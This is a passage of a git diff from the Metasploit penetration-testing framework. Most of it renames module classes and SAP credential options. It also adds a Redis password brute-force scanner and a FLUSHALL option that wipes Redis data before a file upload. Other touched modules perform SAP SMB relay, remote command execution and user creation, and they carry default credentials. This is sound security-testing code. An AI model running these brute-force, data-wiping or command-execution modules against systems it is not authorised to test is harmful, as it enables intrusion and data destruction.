--- a/modules/auxiliary/scanner/printer/printer_version_info.rb +++ b/modules/auxiliary/scanner/printer/printer_version_info.rb @@ -6,7 +6,7 @@ require "msf/core" require "rex/proto/pjl" -class Metasploit4 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/quake/server_info.rb b/modules/auxiliary/scanner/quake/server_info.rb index f8012e7a4c..f0a4e2b0e4 100644 --- a/modules/auxiliary/scanner/quake/server_info.rb +++ b/modules/auxiliary/scanner/quake/server_info.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex/proto/quake' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Auxiliary::UDPScanner include Rex::Proto::Quake diff --git a/modules/auxiliary/scanner/rdp/ms12_020_check.rb b/modules/auxiliary/scanner/rdp/ms12_020_check.rb index f9174649d9..18edd5f1e8 100644 --- a/modules/auxiliary/scanner/rdp/ms12_020_check.rb +++ b/modules/auxiliary/scanner/rdp/ms12_020_check.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Scanner @@ -36,7 +36,7 @@ class Metasploit3 < Msf::Auxiliary register_options( [ - OptInt.new('RPORT', [ true, 'Remote port running RDP', '3389' ]) + OptPort.new('RPORT', [ true, 'Remote port running RDP', 3389 ]) ], self.class) end diff --git a/modules/auxiliary/scanner/redis/file_upload.rb b/modules/auxiliary/scanner/redis/file_upload.rb index 3842aea864..56da8a1937 100644 --- a/modules/auxiliary/scanner/redis/file_upload.rb +++ b/modules/auxiliary/scanner/redis/file_upload.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Redis def initialize(info = {}) @@ -40,7 +40,8 @@ class Metasploit3 < Msf::Auxiliary [ OptPath.new('LocalFile', [false, 'Local file to be uploaded']), OptString.new('RemoteFile', [false, 'Remote file path']), - OptBool.new('DISABLE_RDBCOMPRESSION', [true, 'Disable compression when saving if found to be enabled', true]) + OptBool.new('DISABLE_RDBCOMPRESSION', [true, 'Disable compression when saving if found to be enabled', true]), + OptBool.new('FLUSHALL', [true, 'Run flushall to remove all redis data before saving', false]) ] ) end @@ -83,6 +84,13 @@ class Metasploit3 < Msf::Auxiliary end end + if datastore['FLUSHALL'] + data = redis_command('FLUSHALL') + unless data.include?('+OK') + print_warning("#{peer} -- failed to flushall(); continuing") + end + end + # set a key in this db that contains our content # XXX: this does not work well (at all) if the content we are uploading is # multiline. It also probably doesn't work well if the content isn't diff --git a/modules/auxiliary/scanner/redis/redis_login.rb b/modules/auxiliary/scanner/redis/redis_login.rb new file mode 100644 index 0000000000..3c20561c86 --- /dev/null +++ b/modules/auxiliary/scanner/redis/redis_login.rb @@ -0,0 +1,93 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'metasploit/framework/login_scanner/redis' +require 'metasploit/framework/credential_collection' + +class MetasploitModule < Msf::Auxiliary + + include Msf::Exploit::Remote::Tcp + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + include Msf::Auxiliary::AuthBrute + include Msf::Auxiliary::Redis + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Redis Login Utility', + 'Description' => 'This module attempts to authenticate to an REDIS service.', + 'Author' => [ 'Nixawk' ], + 'References' => [ + ['URL', 'http://redis.io/topics/protocol'] + ], + 'License' => MSF_LICENSE)) + + register_options( + [ + OptPath.new('PASS_FILE', + [ + false, + 'The file that contains a list of of probable passwords.', + File.join(Msf::Config.install_root, 'data', 'wordlists', 'unix_passwords.txt') + ]) + ], self.class) + + # redis does not have an username, there's only password + deregister_options('USERNAME', 'USER_AS_PASS', 'USERPASS_FILE', 'USER_FILE', 'DB_ALL_USERS', 'DB_ALL_CREDS') + end + + def run_host(ip) + cred_collection = Metasploit::Framework::CredentialCollection.new( + blank_passwords: datastore['BLANK_PASSWORDS'], + pass_file: datastore['PASS_FILE'], + password: datastore['PASSWORD'], + # The LoginScanner API refuses to run if there's no username, so we give it a fake one. + # But we will not be reporting this to the database. + username: 'redis' + ) + + cred_collection = prepend_db_passwords(cred_collection) + + scanner = Metasploit::Framework::LoginScanner::Redis.new( + host: ip, + port: rport, + proxies: datastore['PROXIES'], + cred_details: cred_collection, + stop_on_success: datastore['STOP_ON_SUCCESS'], + connection_timeout: 30 + ) + + scanner.scan! do |result| + credential_data = result.to_h + credential_data.merge!( + module_fullname: self.fullname, + workspace_id: myworkspace_id + ) + + case result.status + when Metasploit::Model::Login::Status::SUCCESSFUL + credential_data.delete(:username) # This service uses no username + credential_core = create_credential(credential_data) + credential_data[:core] = credential_core + create_credential_login(credential_data) + + if datastore['VERBOSE'] + vprint_good "#{peer} - LOGIN SUCCESSFUL: #{result.credential} (#{result.status}: #{result.proof})" + else + print_good "#{peer} - LOGIN SUCCESSFUL: #{result.credential}" + end + when Metasploit::Model::Login::Status::NO_AUTH_REQUIRED + vprint_error "#{peer} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})" + break + else + invalidate_login(credential_data) + vprint_error "#{peer} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})" + end + end + end +end diff --git a/modules/auxiliary/scanner/redis/redis_server.rb b/modules/auxiliary/scanner/redis/redis_server.rb index 6d91606685..69d0405e61 100644 --- a/modules/auxiliary/scanner/redis/redis_server.rb +++ b/modules/auxiliary/scanner/redis/redis_server.rb @@ -5,14 +5,14 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Redis include Msf::Auxiliary::Report include Msf::Auxiliary::Scanner def initialize(info = {}) super(update_info(info, - 'Name' => 'Redis Scanner', + 'Name' => 'Redis Command Execute Scanner', 'Description' => %q( This module locates Redis endpoints by attempting to run a specified Redis command. diff --git a/modules/auxiliary/scanner/rogue/rogue_recv.rb b/modules/auxiliary/scanner/rogue/rogue_recv.rb index 4293d6bc1e..9b8dbe95d7 100644 --- a/modules/auxiliary/scanner/rogue/rogue_recv.rb +++ b/modules/auxiliary/scanner/rogue/rogue_recv.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Capture diff --git a/modules/auxiliary/scanner/rogue/rogue_send.rb b/modules/auxiliary/scanner/rogue/rogue_send.rb index 9e2b9cf3ec..6c50275f34 100644 --- a/modules/auxiliary/scanner/rogue/rogue_send.rb +++ b/modules/auxiliary/scanner/rogue/rogue_send.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Capture include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/rservices/rexec_login.rb b/modules/auxiliary/scanner/rservices/rexec_login.rb index f2a93ecf5a..9a1e4d7c83 100644 --- a/modules/auxiliary/scanner/rservices/rexec_login.rb +++ b/modules/auxiliary/scanner/rservices/rexec_login.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/rservices/rlogin_login.rb b/modules/auxiliary/scanner/rservices/rlogin_login.rb index 7d1414a6d6..1ef454e273 100644 --- a/modules/auxiliary/scanner/rservices/rlogin_login.rb +++ b/modules/auxiliary/scanner/rservices/rlogin_login.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/rservices/rsh_login.rb b/modules/auxiliary/scanner/rservices/rsh_login.rb index 8892b023d5..aac1d57444 100644 --- a/modules/auxiliary/scanner/rservices/rsh_login.rb +++ b/modules/auxiliary/scanner/rservices/rsh_login.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/rsync/modules_list.rb b/modules/auxiliary/scanner/rsync/modules_list.rb index 9bdfaaf4f5..ff68f8f088 100644 --- a/modules/auxiliary/scanner/rsync/modules_list.rb +++ b/modules/auxiliary/scanner/rsync/modules_list.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/sap/sap_ctc_verb_tampering_user_mgmt.rb b/modules/auxiliary/scanner/sap/sap_ctc_verb_tampering_user_mgmt.rb index 3bff4eaa56..b93b5dd456 100644 --- a/modules/auxiliary/scanner/sap/sap_ctc_verb_tampering_user_mgmt.rb +++ b/modules/auxiliary/scanner/sap/sap_ctc_verb_tampering_user_mgmt.rb @@ -22,7 +22,7 @@ require 'msf/core' -class Metasploit4 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem.rb b/modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem.rb index 7865397e71..5acb133b6b 100644 --- a/modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem.rb +++ b/modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rexml/document' -class Metasploit4 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/sap/sap_icf_public_info.rb b/modules/auxiliary/scanner/sap/sap_icf_public_info.rb index 05ca2b7f4c..146a919d95 100644 --- a/modules/auxiliary/scanner/sap/sap_icf_public_info.rb +++ b/modules/auxiliary/scanner/sap/sap_icf_public_info.rb @@ -16,7 +16,7 @@ require 'msf/core' -class Metasploit4 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/sap/sap_icm_urlscan.rb b/modules/auxiliary/scanner/sap/sap_icm_urlscan.rb index 7cea619121..1e9e63aa2e 100644 --- a/modules/auxiliary/scanner/sap/sap_icm_urlscan.rb +++ b/modules/auxiliary/scanner/sap/sap_icm_urlscan.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_abaplog.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_abaplog.rb index f87e2d65f3..3a300ad761 100644 --- a/modules/auxiliary/scanner/sap/sap_mgmt_con_abaplog.rb +++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_abaplog.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit4 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_brute_login.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_brute_login.rb index 57af398132..4c73ef5558 100644 --- a/modules/auxiliary/scanner/sap/sap_mgmt_con_brute_login.rb +++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_brute_login.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit4 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report @@ -39,6 +39,8 @@ class Metasploit4 < Msf::Auxiliary File.join(Msf::Config.data_directory, "wordlists", "sap_common.txt") ]) ], self.class) register_autofilter_ports([ 50013 ]) + + deregister_options('HttpUsername', 'HttpPassword') end def run_host(rhost) diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_extractusers.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_extractusers.rb index b1d033363b..fb3a9571bb 100644 --- a/modules/auxiliary/scanner/sap/sap_mgmt_con_extractusers.rb +++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_extractusers.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit4 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_getaccesspoints.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_getaccesspoints.rb index 1333c69ff8..ee9957196f 100644 --- a/modules/auxiliary/scanner/sap/sap_mgmt_con_getaccesspoints.rb +++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_getaccesspoints.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit4 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_getenv.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_getenv.rb index 15868dd886..7d4b52b594 100644 --- a/modules/auxiliary/scanner/sap/sap_mgmt_con_getenv.rb +++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_getenv.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit4 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_getlogfiles.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_getlogfiles.rb index ccf26867ad..0081f81978 100644 --- a/modules/auxiliary/scanner/sap/sap_mgmt_con_getlogfiles.rb +++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_getlogfiles.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit4 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_getprocesslist.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_getprocesslist.rb index d48d7dfd8b..6747e7263c 100644 --- a/modules/auxiliary/scanner/sap/sap_mgmt_con_getprocesslist.rb +++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_getprocesslist.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit4 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_getprocessparameter.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_getprocessparameter.rb index a6027450f4..3f4cc9ebf3 100644 --- a/modules/auxiliary/scanner/sap/sap_mgmt_con_getprocessparameter.rb +++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_getprocessparameter.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit4 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_instanceproperties.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_instanceproperties.rb index bb443cf0b6..76ab9d2360 100644 --- a/modules/auxiliary/scanner/sap/sap_mgmt_con_instanceproperties.rb +++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_instanceproperties.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit4 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_listlogfiles.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_listlogfiles.rb index f950718dba..d1d26c469f 100644 --- a/modules/auxiliary/scanner/sap/sap_mgmt_con_listlogfiles.rb +++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_listlogfiles.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit4 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_startprofile.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_startprofile.rb index 43a943d552..27e3600b01 100644 --- a/modules/auxiliary/scanner/sap/sap_mgmt_con_startprofile.rb +++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_startprofile.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit4 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_version.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_version.rb index 34c51c9eba..5f835712b5 100644 --- a/modules/auxiliary/scanner/sap/sap_mgmt_con_version.rb +++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_version.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit4 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/sap/sap_router_info_request.rb b/modules/auxiliary/scanner/sap/sap_router_info_request.rb index c87f04e5b8..1edd8fdae9 100644 --- a/modules/auxiliary/scanner/sap/sap_router_info_request.rb +++ b/modules/auxiliary/scanner/sap/sap_router_info_request.rb @@ -22,7 +22,7 @@ require 'msf/core' -class Metasploit4 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/sap/sap_router_portscanner.rb b/modules/auxiliary/scanner/sap/sap_router_portscanner.rb index 79f9882999..3cd24118cc 100644 --- a/modules/auxiliary/scanner/sap/sap_router_portscanner.rb +++ b/modules/auxiliary/scanner/sap/sap_router_portscanner.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Report @@ -230,6 +230,30 @@ class Metasploit3 < Msf::Auxiliary service = "CRM - Central Software Deployment Manager" when /^10(8|9)9$/ service = "PAW - Performance Assessment Workbench" + when /^59950$/ + service = "SAP NetWeaver Master Data Server" + when /^59951$/ + service = "SAP NetWeaver Master Data Server (HTTPS)" + when /^59650$/ + service = "SAP NetWeaver Master Data Layout Server" + when /^59651$/ + service = "SAP NetWeaver Master Data Layout Server (HTTPS)" + when /^59750$/ + service = "SAP NetWeaver Master Data Import Server" + when /^59751$/ + service = "SAP NetWeaver Master Data Import Server (HTTPS)" + when /^59850$/ + service = "SAP NetWeaver Master Data Syndication Server" + when /^59851$/ + service = "SAP NetWeaver Master Data Syndication Server (HTTPS)" + when /^4[0-9][0-9](0[1-9]|[1-7][0-9])$/ + service = "IGS Portwatcher (Clients)" + when /^4[0-9][0-9](8|9)[0-9]$/ + service = "IGS HTTP-ports" + when /^1128$/ + service = "SAP Host Agent" + when /^1129$/ + service = "SAP Host Agent with SSL" else service = '' end diff --git a/modules/auxiliary/scanner/sap/sap_service_discovery.rb b/modules/auxiliary/scanner/sap/sap_service_discovery.rb index fa77142694..47921cdf7d 100644 --- a/modules/auxiliary/scanner/sap/sap_service_discovery.rb +++ b/modules/auxiliary/scanner/sap/sap_service_discovery.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit4 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/sap/sap_smb_relay.rb b/modules/auxiliary/scanner/sap/sap_smb_relay.rb index 3c832996bf..c892c27ce8 100644 --- a/modules/auxiliary/scanner/sap/sap_smb_relay.rb +++ b/modules/auxiliary/scanner/sap/sap_smb_relay.rb @@ -22,7 +22,7 @@ require 'msf/core' -class Metasploit4 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report @@ -53,8 +53,8 @@ class Metasploit4 < Msf::Auxiliary register_options([ Opt::RPORT(8000), OptString.new('CLIENT', [true, 'SAP client', '001']), - OptString.new('USERNAME', [false, 'Username (Ex SAP*)']), - OptString.new('PASSWORD', [false, 'Password (Ex 06071992)']), + OptString.new('HttpUsername', [false, 'Username (Ex SAP*)']), + OptString.new('HttpPassword', [false, 'Password (Ex 06071992)']), OptAddress.new('LHOST', [true, 'Server IP or hostname of the SMB Capture system']), OptEnum.new('ABUSE', [true, 'SMB Relay abuse to use', "MMR", [ @@ -69,11 +69,11 @@ class Metasploit4 < Msf::Auxiliary end def valid_credentials? - if datastore['USERNAME'].nil? or datastore['USERNAME'].empty? + if datastore['HttpUsername'].blank? return false end - if datastore['PASSWORD'].nil? or datastore['PASSWORD'].empty? + if datastore['HttpPassword'].blank? return false end return true @@ -98,7 +98,7 @@ class Metasploit4 < Msf::Auxiliary res = send_request_raw({ 'uri' => '/sap/bw/xml/soap/xmla?sap-client=' + datastore['CLIENT'] + '&sap-language=EN', 'method' => 'POST', - 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']), + 'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword']), 'data' => data, 'ctype' => 'text/xml; charset=UTF-8', 'cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'] @@ -118,7 +118,7 @@ class Metasploit4 < Msf::Auxiliary begin smb_uri = "\\\\#{datastore['LHOST']}\\#{Rex::Text.rand_text_alpha_lower(7)}.#{Rex::Text.rand_text_alpha_lower(3)}" - if datastore['USERNAME'].empty? + if datastore['HttpUsername'].empty? vprint_status("#{rhost}:#{rport} - Sending unauthenticated request for #{smb_uri}") res = send_request_cgi({ 'uri' => '/mmr/MMR', @@ -137,7 +137,7 @@ class Metasploit4 < Msf::Auxiliary res = send_request_cgi({ 'uri' => '/mmr/MMR', 'method' => 'GET', - 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']), + 'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword']), 'cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'], 'ctype' => 'text/xml; charset=UTF-8', 'vars_get' => { @@ -169,7 +169,7 @@ class Metasploit4 < Msf::Auxiliary 'uri' => '/sap/bc/soap/rfc', 'method' => 'POST', 'data' => data, - 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']), + 'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword']), 'cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'], 'ctype' => 'text/xml; charset=UTF-8', 'headers' => { diff --git a/modules/auxiliary/scanner/sap/sap_soap_bapi_user_create1.rb b/modules/auxiliary/scanner/sap/sap_soap_bapi_user_create1.rb index 1ae343ea5b..933d48e48a 100644 --- a/modules/auxiliary/scanner/sap/sap_soap_bapi_user_create1.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_bapi_user_create1.rb @@ -16,7 +16,7 @@ require 'msf/core' -class Metasploit4 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report @@ -43,8 +43,8 @@ class Metasploit4 < Msf::Auxiliary register_options([ Opt::RPORT(8000), OptString.new('CLIENT', [true, 'SAP client', '001']), - OptString.new('USERNAME', [true, 'Username', 'SAP*']), - OptString.new('PASSWORD', [true, 'Password', '06071992']), + OptString.new('HttpUsername', [true, 'Username', 'SAP*']), + OptString.new('HttpPassword', [true, 'Password', '06071992']), OptString.new('BAPI_FIRST',[true,'First name','John']), OptString.new('BAPI_LAST',[true,'Last name','Doe']), OptString.new('BAPI_PASSWORD',[true,'Password for the account (Default is msf1234)','msf1234']), @@ -103,7 +103,7 @@ class Metasploit4 < Msf::Auxiliary 'data' => data, 'cookie' => "sap-usercontext=sap-language=EN&sap-client=#{datastore['CLIENT']}", 'ctype' => 'text/xml; charset=UTF-8', - 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']), + 'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword']), 'headers' => { 'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions', }, diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_brute_login.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_brute_login.rb index 1febb6b023..cfcdf928bf 100644 --- a/modules/auxiliary/scanner/sap/sap_soap_rfc_brute_login.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_brute_login.rb @@ -16,7 +16,7 @@ require 'msf/core' -class Metasploit4 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report @@ -49,6 +49,8 @@ class Metasploit4 < Msf::Auxiliary OptPath.new('USERPASS_FILE', [ false, "File containing users and passwords separated by space, one pair per line", File.join(Msf::Config.data_directory, "wordlists", "sap_default.txt") ]) ], self.class) + + deregister_options('HttpUsername', 'HttpPassword') end def run_host(rhost) diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_call_system_command_exec.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_call_system_command_exec.rb index cd8e52f1ee..dd4e0b9a5b 100644 --- a/modules/auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_call_system_command_exec.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_call_system_command_exec.rb @@ -16,7 +16,7 @@ require 'msf/core' -class Metasploit4 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report @@ -43,8 +43,8 @@ class Metasploit4 < Msf::Auxiliary register_options( [ OptString.new('CLIENT', [true, 'SAP Client', '001']), - OptString.new('USERNAME', [true, 'Username', 'SAP*']), - OptString.new('PASSWORD', [true, 'Password', '06071992']), + OptString.new('HttpUsername', [true, 'Username', 'SAP*']), + OptString.new('HttpPassword', [true, 'Password', '06071992']), OptEnum.new('OS', [true, 'Target OS', "linux", ['linux','windows']]), OptString.new('CMD', [true, 'Command to run', "id"]) ], self.class) @@ -98,7 +98,7 @@ class Metasploit4 < Msf::Auxiliary 'data' => data, 'cookie' => "sap-usercontext=sap-language=EN&sap-client=#{datastore['CLIENT']}", 'ctype' => 'text/xml; charset=UTF-8', - 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']), + 'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword']), 'headers' => { 'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions', }, diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_command_exec.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_command_exec.rb index 05bbe78ec4..544879301b 100644 --- a/modules/auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_command_exec.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_command_exec.rb @@ -16,7 +16,7 @@ require 'msf/core' -class Metasploit4 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report @@ -44,8 +44,8 @@ class Metasploit4 < Msf::Auxiliary [ Opt::RPORT(8000), OptString.new('CLIENT', [true, 'SAP Client', '001']), - OptString.new('USERNAME', [true, 'Username', 'SAP*']), - OptString.new('PASSWORD', [true, 'Password', '06071992']), + OptString.new('HttpUsername', [true, 'Username', 'SAP*']), + OptString.new('HttpPassword', [true, 'Password', '06071992']), OptEnum.new('OS', [true, 'Target OS', "linux", ['linux','windows']]), OptString.new('CMD', [true, 'Command to run', "id"]) ], self.class) @@ -99,7 +99,7 @@ class Metasploit4 < Msf::Auxiliary 'data' => data, 'cookie' => "sap-usercontext=sap-language=EN&sap-client=#{datastore['CLIENT']}", 'ctype' => 'text/xml; charset=UTF-8', - 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']), + 'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword']), 'headers' => { 'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions', }, diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_eps_get_directory_listing.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_eps_get_directory_listing.rb index 1658e8688d..d0171301d2 100644 --- a/modules/auxiliary/scanner/sap/sap_soap_rfc_eps_get_directory_listing.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_eps_get_directory_listing.rb @@ -22,7 +22,7 @@ require 'msf/core' -class Metasploit4 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report include Msf::Auxiliary::Scanner @@ -50,8 +50,8 @@ class Metasploit4 < Msf::Auxiliary register_options([ Opt::RPORT(8000), OptString.new('CLIENT', [true, 'SAP Client', '001']), - OptString.new('USERNAME', [true, 'Username', 'SAP*']), - OptString.new('PASSWORD', [true, 'Password', '06071992']), + 